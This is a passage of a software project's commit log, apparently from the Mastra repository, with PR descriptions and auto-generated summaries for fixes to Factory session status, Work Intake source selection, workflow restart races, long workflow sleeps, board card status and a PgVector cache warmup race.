rows still ignore a card's suggested run and settled state. Why: a
person session can be indexed next to a card, and those two facts belong
to the card's own sessions. Undo: give `userRow` its own status again.
- The parked set is the card sessions plus every session the reader can
see. Why: card sessions stay in so a card still reads parked for people
who can't see its private session row. Undo: go back to
`sessionIdsWhere(cards, isParked)`.
- A run counts for the session whose current thread it's on, read from
the live session registry in this process, like `activeRuns` already is.
Why: leaving a thread drops its run, so a run always lies on its
session's current thread, and this costs no database read, unlike the
thread stamp lookup. Undo: drop `sessionOnThread` from
`runningSessionIds`.
- Initializing needs a run waiting on setup. Why: `markMaterialized`
only runs at the end of the GitHub clone and the sandbox starts lazily,
so "not materialized" alone mostly meant "never ran". Undo: drop
`running &&` in `sessionStatus` and bring back the poll.
- Waiting on you now outranks Initializing. Why: a suspended run still
counts as running, so a lazy sandbox session asking its first question
read Initializing, and a run parked on a person can't be setting its
sandbox up. Undo: swap the first two checks in `sessionRowStatus`.

**Watch**
- A card whose session exists but whose run hasn't registered yet is no
longer held for that short window. I haven't seen it happen.
- The transcript's "Answered" receipt reads `parkedSessionIds`, so it
should now stay off while a person session still waits. Not tested.

**Known limit**
- With lazy sandbox start, a session whose run hasn't touched the
sandbox yet, like a chat-only turn, shows Initializing while it runs.
Nothing persisted says setup is in progress: `setSandbox` is written
after setup. It's still an in-flight status, and it no longer sticks
once the run ends.

**Not verified**
- [ ] Not checked in a browser against a live Factory
- [ ] A real suspended core run on a person session, end to end with a
lazy sandbox
- [ ] A Slack session's row going Working, end to end
- [ ] Playwright e2e not run

---

> source &nbsp;&nbsp;&nbsp;&nbsp;████ +38 −54
> tests &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;████████ +115 −69
> changeset █ +6
> generated none



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The Factory app showed the wrong status for some sessions.
This change fixes the status rules. It also stops the app from asking
the server for session updates every 15 seconds.

**Overview**

This change corrects how Factory derives session status for person
sessions and card sessions. It also moves card status and session holds
to server-derived session activity. The client no longer polls for
session updates.

**Status rules**

- Person rows and card rows use the same `sessionStatus` calculation.
- Person rows do not use a card's suggested-run or settled-state data.
- "Waiting on you" applies to parked sessions. The parked set includes
card sessions and sessions visible to the reader.
- "Initializing" applies only to a running session whose
`materializedAt` is null.
- "Waiting on you" takes precedence over "Initializing."
`sessionRowStatus` returns `ready` when `attention` is true, even if
initialization is also in progress.
- A failed clone or a session that has never run does not show
"Initializing" only because setup is incomplete.
- Factory sessions that await a person count as attention. Settled state
applies only to factory sessions.

**Run-to-session mapping**

- `LiveSession` exposes `thread.getId()`, which may return `null`.
- `LiveSessions.sessionOnThread(threadId)` returns the first tracked
session whose current thread matches. It returns `undefined` if none
matches.
- `RunReach` and `WorkItemRoutesDeps.liveSessions` now require
`sessionOnThread`.
- `runningSessionIds` includes runs by thread ID, optional resource ID,
and the session ID found for that thread. It still excludes runs with an
explicitly supplied unreachable resource ID.
- A run on a later thread, or a Slack run, can therefore map to its
session and show "Working."

**Polling removal**

- `sessionsRefetchInterval` is removed from
`mastracode/factory-ui/src/hooks/useWorkspaces.ts`.
- `workspacesQueryOptions` no longer sets a refetch interval.
- The previous helper returned 15 seconds while any session was
unmaterialized and updated in the last 10 minutes. Otherwise it returned
`false`.

**Contracts and routes**

- `sessionActivityResponseSchema` describes `parkedSessionIds` as
sessions whose run waits on a person. It no longer limits them to card
sessions.
- The `sessionHeldCardIds` description now refers to running or parked
sessions. It no longer includes "coming up."
- The `CardSessionStatus.held` comment no longer includes "coming up."

**Tests**

- `session-rows.test.ts` and `session-row-status.test.ts` add or update
cases for later-thread runs, parked user sessions, owner visibility,
unmaterialized sessions, and initialization.
- `live-sessions.test.ts` adds a real-controller test for
`sessionOnThread` on a second thread.
- Factory UI MSW tests cover initializing belts, active runs on
unmaterialized sessions, and sidebar visibility for sessions waiting on
setup.
- The polling tests in `useWorkspaces.test.ts` are removed.
- The e2e session-read fixture sets `sessionOnThread` to return
`undefined`.

**Changeset**

- `.changeset/spicy-peaches-crash.md` declares patch releases for
`@mastra/factory` and `mastra`.

**Verification status**

- Per the PR description, these were not performed:
  - Browser verification against a live Factory.
- End-to-end checks for a suspended person-session run with a lazy
sandbox.
  - End-to-end checks for a Slack session.
  - Playwright e2e tests.
- The transcript "Answered" receipt behavior was not tested.
- CI and test results for the current head are not available.

**Known limit**

- A chat-only turn can show "Initializing" while it runs, if it has not
touched the sandbox.

**Scope**

- 18 files changed.
- 169 lines added and 123 lines removed.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 19:02:18 -08:00
Damien Schneider
1b1f89c136
Factory: Work Intake brings in exactly the sources you select (#30625)
**─────── TLDR ───────**
> In Work Intake, the sources you select are exactly what comes in: the
per-service sync switches are gone, and GitHub issues and Vanta now
follow their lists.

Each service had a sync switch next to its source list, and the two
disagreed. A switched-off service kept a hidden selection, GitHub filed
issues from every linked repository whatever its list said, and Vanta
synced into every project with nothing selected. The list is now the
only control: a source in the list comes in, an empty list brings in
nothing.

### Behavior changed

a GitHub issue opens on a linked repository that is not in the GitHub
list
&nbsp;&nbsp;├─ **was** — filed as a card anyway
&nbsp;&nbsp;└─ **now** — ignored; pull requests from that repository
still come in

a repository is added to the GitHub list
&nbsp;&nbsp;├─ **was** — nothing until the next new issue
&nbsp;&nbsp;└─ **now** — its open issues are brought in

a repository is linked from the UI, API or CLI
&nbsp;&nbsp;├─ **was** — the UI added it to the list; API and CLI links
filed issues anyway
&nbsp;&nbsp;└─ **now** — the server adds it unless the link sends
`selectIntake: false`

Vanta connected, nothing selected
&nbsp;&nbsp;├─ **was** — every active vulnerability synced into every
project
&nbsp;&nbsp;└─ **now** — nothing syncs until the Vulnerabilities source
is selected

intake order and Not routed
&nbsp;&nbsp;├─ **was** — Settings › Work Intake
&nbsp;&nbsp;└─ **now** — Routing, in board settings; Settings keeps
connections and their sources

### Decisions

- **Dependabot keeps its switch** — it has no source list of its own to
stand in for one
- **a selection saved while switched off reads as empty** — showing it
would bring back the hidden state; the Linear repository mapping is kept
- **"Routing" names the board page** — "Intake" is already the first
phase's name in the same sidebar

### Watch

on deploy: two one-time steps run at boot. Every repository already
linked to a Factory joins its org's GitHub list, so no issue stops
arriving; a repository someone removed from the list earlier reappears.
Orgs whose Vanta switch was on with nothing selected get the
Vulnerabilities source selected. Both write a marker and never run
again; a failure logs and retries on the next boot.

### Not verified

- [ ] the Work Intake and Routing pages in a browser — covered by MSW
tests only
- [ ] the boot steps against Shipyard's data — run only on my local
database

---

> ██████████████████ **source** `+580 −328`
> █████████████████ **tests** `+565 −272`
> █ **changeset** `+10`
> █ **docs** `+4 −2`


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: Work Intake now brings in only the sources a user selects. If a
list is empty, nothing comes in. Existing setups keep working because a
one-time update adds the sources they already used.

## Summary

Work Intake uses each source list as the control for intake. A source in
the list syncs. An empty list syncs nothing. Dependabot keeps its own
switch because it has no source list.

### Behavior changes

- **GitHub issues:** Only issues from repositories in the org's selected
list are ingested. Pull requests continue to come from every linked
repository.
- **GitHub linking:** Linking a repository through the link route adds
it to the selected list. The request can pass `selectIntake: false` to
skip this. Selecting a repository brings in its open issues.
- **Vanta:** Vulnerabilities do not sync until the Vulnerabilities
source is selected.
- **Linear:** A selection saved while the service is off is read as
empty. The Linear repository mapping is kept.
- **Routing:** Intake order and the Not routed list move from Settings
to a new board Routing page. Settings keeps connections and their
sources.
- **Settings UI:** Sources from all providers render in one "Sources"
subsection. The sync-switch controls are removed. Account-add actions
are ghost buttons (`AddPlatformAccountButton`,
`AddLinearWorkspaceButton`).

### Backend changes

- `IntakeStorage` adds `listConfigs`, `addSources`, and
`addSourcesOnce`. `addSourcesOnce` checks a named marker in the
`intake_data_migrations` table, runs in a serializable transaction, and
writes the marker on completion. `IntakeStorage.init` ensures that table
exists, independent of legacy binding detection.
- `MastraFactory.prepare()` runs two one-time migrations:
  - Seeds GitHub issue intake with linked repository slugs.
- Selects the Vanta Vulnerabilities source for orgs that have Vanta
enabled and no selected source.

  Each migration logs failures and retries on the next boot.
- GitHub rules return `ignored` for an `issueOpened` event when no item
was resolved and issue intake is not selected for the project and
repository.
- The GitHub issue reconciler checks issue-intake selection before
missed-open discovery. If a selection check fails, it skips discovery
for that repository and still reconciles existing cards.
- The intake PUT route calls the new `onSourcesSelected` callback for
newly selected source IDs. Selecting GitHub sources also ingests
backlogs for linked repositories that match the selected IDs.
Per-repository failures are logged.
- `parseRepositoryLinkInput` accepts `selectIntake` (default `true`) and
rejects non-boolean values. The link route adds the repository to GitHub
intake when this is true. Intake failures are logged and do not change
the link response.

### Routing and paths

- New `BoardIntakePage`. The router maps the Work board's intake URL and
any board's intake URL to it.
- New helpers in `boardConfigPaths.ts`: `boardIntakePath`,
`INTAKE_ORDER_ANCHOR`, `NOT_ROUTED_ANCHOR`. The two anchor constants are
removed from `settingsSections.ts`.

### Verification

- The author ran the one-time boot steps only against a local database,
not production data.
- The author did not verify the Work Intake and Routing pages in a
browser. Test coverage for those pages is MSW-based.
- CI and test results on the current head: not available.

### Scope

- 62 files changed, +1357 / −758 lines (merge base `c451f9c`).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 18:47:06 -08:00
Arthur Fiorette
e110fa681a
fix(core): reload a run after restart() claims it (#30399)
## Description

On the default engine, `run.restart()` now reads the run again after it
has taken the run's lease, and acts on what it finds then. A restart
that races the end of a run returns the run's stored result instead of
running steps again.

### Why

`restart()` read the run, checked it wasn't finished, and only then took
the run's lease. A run that finished (or suspended) and released its
lease between that read and the claim was restarted from the stale
snapshot: `running` was written over `success`, and the steps that were
active at the stale read ran again.

### What changed

- The first read keeps its checks, so a run that isn't active never
touches the lease table.
- After the claim, the run is loaded again and handled exactly as a
first read would handle it: the stored result for a finished run, the
"This workflow run was not active" error for a suspended, canceled,
bailed or paused run, and "Snapshot not found" for a missing row. The
lease is released on every exit that doesn't restart.
- The restart's parameters, stored state and request context come from
that second read.
- The block that builds the stored result moved unchanged into a helper
both reads use.

### Cost

On storage v1 a restart reads the run's full snapshot once more than
before: a recovered run takes four reads where it took three (two in
`createRun()`, one before and one after the claim). On storage v2 the
count is unchanged, because the existing full load moved after the
claim.

### Known limits

- Runs whose lease does nothing (runs that aren't recoverable, nested
runs, runs that persist neither `running` nor `waiting`, stores without
run fencing, every evented run), and an owner whose lease lapsed while
it is still alive: the second read narrows the window, but nothing
enforces it.
- A run that finished but whose owner hasn't released its lease yet
still gets `WORKFLOW_RESTART_RUN_OWNED`.

### Tests

New cases in
`packages/core/src/mastra/restart-active-runs-ownership.test.ts`, run on
storage v1 and v2. Replica A runs the step up to a gate. Replica B calls
`restart()`, and just before B claims the lease, A passes the gate,
settles and releases its lease for real.

- Run finished: B's `restart()` returns A's `success` and result, the
step ran once (in A), the stored run is unchanged and the lease isn't
live. Without the fix the step runs a second time in B (`executions`
gains `B:<runId>`).
- Run suspended: B's `restart()` rejects with "This workflow run was not
active" and nothing runs in B. Without the fix B runs the step again and
the restart resolves `success`.

The read-count expectation in
`packages/core/src/mastra/test-utils/recovery-read-cases.ts` goes from
three snapshot reads to four for the restarted run, because of the v1
read after the claim.

## Related issue(s)

Related to #28060

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Two computers can work on the same saved task. If one computer
finishes or pauses the task while another computer is about to restart
it, the restart can use old information. This change makes the restart
check the task again after it takes ownership, so it uses the latest
saved state.

## Summary

This pull request fixes a race condition in `Run._restart` in
`packages/core/src/workflows/workflow.ts`. A replica can read a run.
Another replica can finish or suspend that run before the first replica
claims its lease. The restart then acts on a stale snapshot.

### Changes

- **First read kept.** `_restart` reads the run and returns the stored
result if the run is terminal. It then calls
`createRestartExecutionParams`, which throws for an inactive run. This
happens before the lease is claimed.
- **Stored-result helper.** A new private method,
`#storedRestartResult`, returns the stored result for `success`,
`failed`, and `tripwire` snapshots. It returns `undefined` for other
statuses. On the finished path, it calls `this.cleanup?.()`. The first
read and the second read both use this method.
- **Reload after claim.** After it claims the lease, `_restart` calls
`loadFull()` again. It applies the stored-result check and
`createRestartExecutionParams` to this second snapshot.
- **Restart inputs from the second read.** Restart parameters, state,
and request context come from the second snapshot.
- **Lease released on non-restart exits.** A `finally` block releases
the lease unless the restart proceeds. This covers a missing snapshot, a
finished run, and an inactive run found on the second read.
- **Inactive-run errors.** A run that is not active fails with "This
workflow run was not active." A missing run fails with "Snapshot not
found."

### Read count

- On storage v1, a restarted run performs four snapshot reads instead of
three. The extra read is the `loadFull()` call after the lease claim.
- On storage v2, the read count does not change. The earlier code
already performed a second `loadFull()` on this path.
- `packages/core/src/mastra/test-utils/recovery-read-cases.ts` changes
the expected read list to four `'stopped'` entries. Its comment now
states that `restart()` loads the snapshot before and after it claims
the run.

### Tests

- `packages/core/src/mastra/restart-active-runs-ownership.test.ts` adds
finish and suspension race tests for storage v1 and v2. These tests were
not inspected in this review.
- Test and CI results: not available. This summary does not record a
completed test run.

### Known limits

- The second read narrows the race. It does not enforce ownership in all
cases. The pull request description lists these cases: runs where the
lease has no effect, stores without run fencing, evented runs, and
owners whose lease lapses while still alive.
- A finished run whose owner has not released its lease still returns
`WORKFLOW_RESTART_RUN_OWNED`.

### Release note

`.changeset/quick-plums-flash.md` adds a patch changeset for
`@mastra/core`. The changeset states that `run.restart()` returns the
stored result for a finished run. It also states that `run.restart()`
fails with "This workflow run was not active" when a run suspends after
restart reads it and before restart takes ownership. The changeset file
was not part of the inspected diff.

### Scope

- 4 files changed.
- 177 lines added and 51 lines removed.
- No exported or public declarations changed.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 18:41:15 -08:00
Arthur Fiorette
d0a2fa4e34
fix(core): keep workflow sleeps longer than 2^31-1 ms asleep for the full duration (#30395)
## Description

A workflow `.sleep()` or `.sleepUntil()` longer than 2^31-1 ms (about
24.8 days) now waits its full duration on the default and evented
engines.

### Why

Each sleep armed a single `setTimeout`. Node and Bun turn a delay above
2^31-1 ms into 1 ms, so a sleep beyond that woke at once and the next
step ran immediately. For example, `.sleepUntil(new Date(Date.now() + 30
* 24 * 60 * 60 * 1000))` ran the following step about 1 ms later.

### What changed

A new internal helper, `setLongTimeout` in
`packages/core/src/workflows/utils.ts`, counts the duration down in
consecutive timers of at most 2^31-1 ms. It subtracts each timer's delay
from the remaining time and never reads the wall clock. `abortableSleep`
(the default engine's sleeps) and both evented sleep timers in
`evented/workflow-event-processor/sleep.ts` use it. A sleep up to the
limit arms exactly one timer, as before, and a duration that is zero,
negative or NaN still fires at once. `abortableSleep` keeps its abort
behavior: an abort clears whichever timer is armed and resolves.

Most of the `sleep.ts` diff is re-indentation from the formatter. In
each of the two timers the only change is `setTimeout(...)` to
`setLongTimeout(...)` and dropping the `duration < 0 ? 0 : duration`
guard, which the helper now handles.

### Known limits

- Retry delays (`retryConfig.delay`) still use a single timer.
- The scheduler's `tickIntervalMs` is unchanged.
- `sleep(Infinity)` now sleeps forever. Before, it woke after 1 ms.
- `sleepUntil` still measures the time left from when the sleep starts
and doesn't follow wall-clock changes.
- An evented sleep still lives in one process for its whole duration
(#30012).

### Tests

`packages/core/src/workflows/utils.test.ts` adds two `abortableSleep`
rows with fake timers and a duration of 2^31 + 60 s. The first checks
that the sleep is still pending after 2^31-1 ms and 1 ms before the end,
and resolves at the end. The second aborts after 2^31-1 ms + 1 s and
checks that it resolves with no timer left. Without the fix both fail
with `expected true to be false`, because the sleep had already
resolved.

The new
`packages/core/src/workflows/evented/workflow-event-processor/sleep.test.ts`
runs `processWorkflowSleep` with a 30-day duration and
`processWorkflowSleepUntil` with a date 30 days ahead, both through a
real `StepExecutor`. It checks that nothing is published to `workflows`
1 ms before 30 days, and that the next `workflow.step.run` is published
at 30 days. Without the fix both rows fail with `expected [ [
'workflows', { …(3) } ] ] to have a length of +0 but got 1`.

## Related issue(s)

None

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [ ] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

Workflows have a "sleep" step that pauses before the next step runs. For
very long sleeps, the computer's timer stops early, so the next step
runs too soon. This change makes long sleeps wait the full time.

## Summary

This change fixes workflow `.sleep()` and `.sleepUntil()` on the default
and evented engines. Sleeps longer than 2^31−1 ms (about 24.8 days)
ended early in Node and Bun. The runtime fired a single `setTimeout`
with an oversized delay after about 1 ms.

### Changes

- **`packages/core/src/workflows/utils.ts`**: Adds the internal
`setLongTimeout(callback, duration): () => void` helper. It counts down
with consecutive timers. Each timer is at most 2^31−1 ms.
  - Positive durations wait the full time.
  - Zero, negative, and `NaN` durations fire immediately.
  - `Infinity` never fires.
  - The returned function cancels the armed timer.
- `abortableSleep` now uses this helper. Aborting it clears the timer
and resolves the sleep.
-
**`packages/core/src/workflows/evented/workflow-event-processor/sleep.ts`**:
`sleep` and `sleepUntil` schedule their completion with `setLongTimeout`
instead of `setTimeout`. The completion logic and published events are
unchanged. The explicit clamp of negative durations to zero is removed.
Both helpers receive `duration` directly.
- **`packages/core/src/workflows/utils.test.ts`**: Adds `abortableSleep`
tests for durations above the timer limit. The tests check that the full
duration elapses before resolution. They also check that aborting after
the first timer chunk resolves the sleep and clears its timer.
-
**`packages/core/src/workflows/evented/workflow-event-processor/sleep.test.ts`**:
Adds fake-timer tests for evented `sleep` and `sleepUntil` steps
scheduled 30 days ahead. For both, no step publication occurs before 30
days. One publication occurs at 30 days with execution path `[2]`.
- **`.changeset/sour-cities-show.md`**: Adds a patch changeset for
`@mastra/core`.

### Scope and limits

- Retry delays are unchanged.
- The scheduler's `tickIntervalMs` is unchanged.
- `sleepUntil` measures the time remaining when the sleep starts. It
does not track wall-clock changes.
- Evented sleeps remain in one process for their full duration.
- No public API declarations changed.

### Diff size

- 5 files changed, 245 lines added, 106 lines removed.

### Verification

- Test results and CI status: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 18:41:00 -08:00
Damien Schneider
b90d0ecd41
fix(factory): show the sidebar's card session status on the board (#30624)
**─────── TLDR ───────**

> The board now shows each card's session status as the sidebar does,
because both read it from the server.

A card's session status showed up in four places that disagreed: the
sidebar card row, the board card marker, the stage bar and the activity
band. The server already worked out the sidebar's answer. The board
worked out its own on the client. Now the server sends its answer to all
four, and the client stops guessing.

**Was**
&nbsp;&nbsp;├─ suggested run + running session: sidebar says waiting on
you, board says working
&nbsp;&nbsp;└─ one working session + one starting session: sidebar says
working, board says starting

**Now**
&nbsp;&nbsp;├─ suggested run + running session: waiting on you in both,
and the suggested run stays named but disabled until the session ends
&nbsp;&nbsp;└─ one working session + one starting session: working in
both

**Decisions**
- The marker and the hold are two facts. `cardStatuses` drives the
marker. `sessionHeldCardIds` says a session is starting, running or
parked on a person, so no rival run should start. Why: the server's
`waiting` also covers a suggested run or failed effect next to an idle
session, and using it as the hold would have disabled "Start suggested
run" and hidden Retry on those cards. Both come from the same
`factoryStatus`, so it's one derivation. Undo: drop `sessionHeldCardIds`
and hold on the status again.
- A held card with a suggested run shows the run disabled instead of
hiding it. Why: approving it doesn't go through the server's busy-card
guard, so the button is the only thing stopping a second run (#23083,
#25836). Dismiss stays in the menu. Undo: return `[]` for a held card in
`cardActions`.
- Another person's private card session no longer marks or holds the
card for you. Why: the board now uses the sidebar's visibility filter,
which already hid that session's row. Undo: skip `isSeenBy` in
`cardStatuses`.

**Shape changed**
&nbsp;&nbsp;`GET …/session-activity` adds `cardStatuses` and
`sessionHeldCardIds`
&nbsp;&nbsp;removed: `initializingSessionIds` from session-activity,
`runningSessionIds` and `parkedSessionIds` from board phases and the
work-item list, `useItemSessionStatuses`, `itemAwaitsPerson`

The activity read now also loads the board catalog and one page of
decisions (50) per request, the same reads the rows route makes.

**Not verified**
- [ ] Not checked in a browser against a live Factory
- [ ] Didn't confirm the new regression tests fail on `main`
- [ ] `packages/cli` api tests still use opaque `runningSessionIds`
fixtures; left as they are

---

> source &nbsp;&nbsp;&nbsp;&nbsp;████████████████ +211 −219
> tests &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;██████████████████ +217 −275
> changeset █ +6
> generated ██ +23 −34


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The board shows a small status mark and a stage bar for each
work card. Before this change, the web app worked out those marks on its
own, using different data than the sidebar. Now the server calculates
the status once, and the board reads it, so the board and sidebar show
the same status.

## Summary

This change moves card status and session-hold calculation from the
client to the server. The server now returns these values from `GET
…/session-activity`:

- `cardStatuses`: a map from card ID to sidebar status.
- `sessionHeldCardIds`: the IDs of cards held by a session.

The server derives both values from the same rows and visibility filter
that the sidebar uses. A private session that belongs to another person
does not mark or hold a card.

### Server (`mastracode/factory`)

- `session-rows.ts` (helper): adds `SessionStatusViewer`,
`CardSessionStatus`, `SessionRowIndex.cardStatuses(viewer)`, and
`isInFlight`. Factory-row and card-row status logic moves into
`factoryStatus` and `cardStatus`.
- `session-row-view.ts`: `sessionActivity` accepts `cardStatuses`. It
returns in-flight card statuses and held card IDs. It no longer returns
`initializingSessionIds`.
- `session-rows.ts` (route): loads sessions, cards, boards, and one page
of 50 deferred decisions together. The session-rows and session-activity
routes both use the same index and viewer state.
- `contracts.ts`: removes `runningSessionIds` and `parkedSessionIds`
from the board phases response. Removes `initializingSessionIds` from
session activity and adds `cardStatuses` and `sessionHeldCardIds`.
- `work-items.ts`, `board-snapshot.ts`: stop returning running and
parked session IDs. `boardSnapshot` and `scopedSnapshot` lose their
session-ID parameters. `WorkItemRoutesDeps.liveSessions` no longer
requires `isRunning`.
- `board-snapshot.ts`: fixes the JSON output for an empty metadata
object.

### Client (`mastracode/factory-ui`)

- `useSessionRows.ts`: adds `CardSessions` and
`useCardSessions(factoryProjectId)`. It returns the status map and the
held-ID set from session activity.
- `BoardContent.tsx`, `CardStageBar.tsx`: read status and hold state
from `useCardSessions`.
- `useItemSessionStatuses.ts`: deleted.
- `boardCardState.ts`: the `BoardCardOwner` session variant no longer
carries a status. `BoardCardStateInput` adds `sessionHolds`. The session
owner applies when `sessionHolds` is true. `itemAwaitsPerson` is
removed.
- `cardPrimaryAction.ts`: `freeCardActions` receives the full card
state. A session owner gets a disabled suggested run only when the
status is `waiting`. Otherwise it gets no actions. Waiting-status
labeling moves into `suggestedRun`.
- `cardControls.ts`, `WorkItemCard.tsx`: `sessionStatus` is documented
as the sidebar marker. `sessionHolds` is added and passed through.
- `WorkItemMenuItems.tsx`: adds `ownerCurrent`. The suggested-run
approval action is disabled when runs are blocked or the owner is not
current.
- `workItems.ts`, `useWorkItems.ts`: `BoardSnapshot` contains only
`workItems` and optional `total`. Running and parked session IDs are
removed from the board phase snapshot.
- Test fixtures and MSW mocks: remove `runningSessionIds`,
`parkedSessionIds`, and `initializingSessionIds`. Add `cardStatuses` and
`sessionHeldCardIds` where session activity is mocked.
- `e2e/ui/board-reads.ts`, `e2e/ui/session-reads.ts`: stubbed projects
drop running and parked ID lists. The session-activity stub derives card
statuses and held IDs.

### Behavior changes

- A card with a held session keeps its suggested run visible. The run is
disabled while the card is held. Dismiss remains available.
- A card with a running session shows as working, even when another of
its sessions is not yet materialized.
- A card with a retryable failure shows as ready, not working. Retry
stays hidden.
- A card with a live session that has an active run shows its session as
ready, not working.
- While the session-activity read is pending or a refresh has failed,
the board treats the hold as unknown. Moves go to the server. Suggested
runs stay disabled on the card and in its menu.
- The status marker and the session hold are separate values. The hold
does not use `waiting`.

### Removed API surface

- Session activity: `initializingSessionIds`.
- Board phases and work-item list: `runningSessionIds`,
`parkedSessionIds`.
- Client: `useItemSessionStatuses`, `itemAwaitsPerson`.
- Server: the `liveSessions.isRunning` requirement in work-item routes.

### Scope

- 46 files changed, +540 and −534 lines, against merge base `2d53b04`.
- A changeset (`.changeset/slimy-teeth-sell.md`) declares patch releases
for `@mastra/factory` and `mastra`.

### Verification status

- CI and test results: not available for the current head.
- Browser check against a live Factory: not performed, per the PR
author.
- New regression tests failing on `main`: not confirmed, per the PR
author.
- `packages/cli` API tests: still use opaque `runningSessionIds`
fixtures. This PR does not update these fixtures.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 18:40:57 -08:00
Arthur Fiorette
464810dcf8
fix(pg): keep PgVector startup warmup from caching a dropped index (#30578)
## Description

A `PgVector` instance no longer caches what its startup warmup read for
an index that `deleteIndex()` or an index rebuild invalidated while the
warmup was running. Before this change, two things could go wrong. The
next `upsert()` or `query()` on that index could fail with `Vector table
"<name>" does not exist`, even after the table had been created again. A
later `createIndex()` could also skip its work and keep the index's
previous metric.

The test `PgVector > Namespace isolation > lazy migration without
createIndex > invalidates readiness after deletion and raw recreation`
failed intermittently in CI with:

```
Error: Vector table "test_namespace_lazy_migration" does not exist
 ❯ PgVector.describeIndexMetadata src/vector/index.ts:1822:27   (MASTRA_VECTOR_PG_DESCRIBE_INDEX_FAILED)
Caused by: Error: Vector table "test_namespace_lazy_migration" does not exist
 ❯ PgVector.describeIndexMetadata src/vector/index.ts:1745:15
```

### Cause

The constructor starts a cache warmup and does not await it
(`stores/pg/src/vector/index.ts`, `cacheWarmupPromise`). The warmup
calls `listIndexes()`, then `getIndexMetadata()` for each listed table,
and that call stores its in-flight promise in `indexMetadataCache`. Then
it writes the index's cache key to `createdIndexes`. The failing
sequence in CI:

1. `new PgVector(...)`: the warmup's `listIndexes()` reads the catalog
and sees the table.
2. `deleteIndex()` drops the table and clears `indexMetadataCache`.
3. `listIndexes()` returns its earlier result. The warmup calls
`getIndexMetadata()`, which caches a new `describeIndexMetadata()`
promise for the dropped table.
4. That read runs before the table exists again and fails at
`describeIndexMetadata` (`:1745`).
5. The table is created again, and `upsert()` calls `getIndexMetadata()`
while the warmup's promise is still in the cache, so it gets the
warmup's rejection (`:1822`).

A second sequence uses the same warmup:

1. The warmup reads the metadata of a cosine HNSW index.
2. `deleteIndex()` clears the caches.
3. `createIndex()` recreates the index with the euclidean metric.
4. The warmup finishes and writes the cosine cache key to
`createdIndexes`.
5. A later `createIndex({ metric: 'cosine' })` matches that key, takes
the cached fast path and leaves the euclidean index in place.

### Changes

- The constructor creates a set of invalidated index names for the
warmup. While the warmup runs, `invalidateIndexCaches()` (called by
`deleteIndex()` and by the index rebuild in `setupIndex()`) adds the
index to it.
- The warmup skips an index in that set before it reads its metadata,
and again before it writes `createdIndexes` and `indexVectorTypes`. That
index is read on its first real use instead.
- The set is released once every metadata read of the warmup has
settled, whether the warmup succeeded or failed. `cacheWarmupPromise`,
which `disconnect()` awaits, now also waits for those reads.

### Known limits

- Only operations on the same instance invalidate its caches. When
another instance or process drops or rebuilds a table, this instance's
warmup, or any metadata read it has in flight, can still cache what it
read. This PR does not change that.
- `setupIndex()` invalidates the caches after `DROP INDEX` and before it
creates the new index, and nothing invalidates them afterwards. A
`query()` that reads the metadata in that window caches the index as
`flat` with the default `cosine` metric until the next invalidation.
Separately, `buildIndex()` with other parameters doesn't update
`createdIndexes`, which still holds the key `createIndex()` stored. A
later `createIndex()` with the original parameters then takes the cached
fast path and leaves the rebuilt index as it is. Both exist before this
PR, which does not change them.
- A warmup that finishes during a rebuild with no `deleteIndex()` before
it can still leave a stale key. `createIndex()` with other parameters
stores its key and then awaits catalog reads in `setupIndex()`. A warmup
that finishes during that wait writes the old key, and the rebuild that
follows invalidates the metadata caches without storing the key of the
index it built. A later `createIndex()` with the old parameters then
takes the cached fast path and leaves the rebuilt index as it is. Here
the warmup writes before the invalidation, so the invalidated set can't
stop it. The same sequence fails before this PR, and it shares its cause
with the `buildIndex()` case above: a rebuild never stores the key of
what it built.

### Tests

There are two new tests in `stores/pg/src/vector/index.test.ts`. Each
first checks that the warmup's listing saw the table, and holds the
listing or one of the warmup's catalog queries with a deferred promise.

- `upserts after deletion and raw recreation while the startup warmup is
still running` holds the warmup's `listIndexes()` until `deleteIndex()`
has run. It then holds the warmup's metadata read of the dropped table
(if one starts) until `upsert()` has been called on the recreated table,
and asserts the upserted row is stored. On the code before this change
it fails every run with the error above.
- `rebuilds with the requested metric after deletion while the startup
warmup is still running` holds the warmup after it has read a cosine
HNSW index's definition. It runs `deleteIndex()` and `createIndex()`
with the euclidean metric, lets the warmup finish, then calls
`createIndex()` with the cosine metric and asserts through
`describeIndex()` that the index is cosine. Without the second check it
fails every run with `metric: 'euclidean'`.

The existing test is unchanged. The vector test file passed 5 runs with
the CI vitest config.

## Related issue(s)

None

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

